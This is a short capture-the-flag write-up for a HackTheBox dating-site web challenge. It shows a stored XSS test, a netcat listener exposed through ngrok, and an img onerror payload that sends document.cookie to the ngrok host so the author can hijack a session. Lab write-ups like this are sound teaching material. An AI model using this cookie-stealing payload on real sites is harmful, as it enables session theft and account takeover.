Welcome! (Happy Valentine’s Day!) #
- HackTheBox is an offensive cybersecurity-focused platform.
- This is a writeup for one of their challenges.
Scenario: #
Dating and matching can be exciting especially during Valentine’s, but it’s important to stay vigilant for impostors. Can you help identify possible frauds?
Release Date: Feb, 14th 2025.
Start: #
This challenge has no files; looks like it’s only an IP and Port given to us.


Register page:




XSS #
I “swiped right” on everyone on the main page and got a message. Testing:
hello!<script>alert(1);</script>
Shout out hacktricks.

Real quick, since this is a challenge box, we need a publicly accessible IP : Port to get the data…
Time to spin up ngrok.

nc -lvnp 4444ngrok http 4444
Now, let’s alter that script and send it over. We’ll just paste the forwarding address from ngrok into the XSS script. In my case:
Sorry. <img src=x onerror=this.src="http://e4c1-85-9-195-5.ngrok-free.app/?c="+document.cookie>
CTRL-C’d ngrok.)
Let’s alter our session key and see what we get.


Hope that helps! :)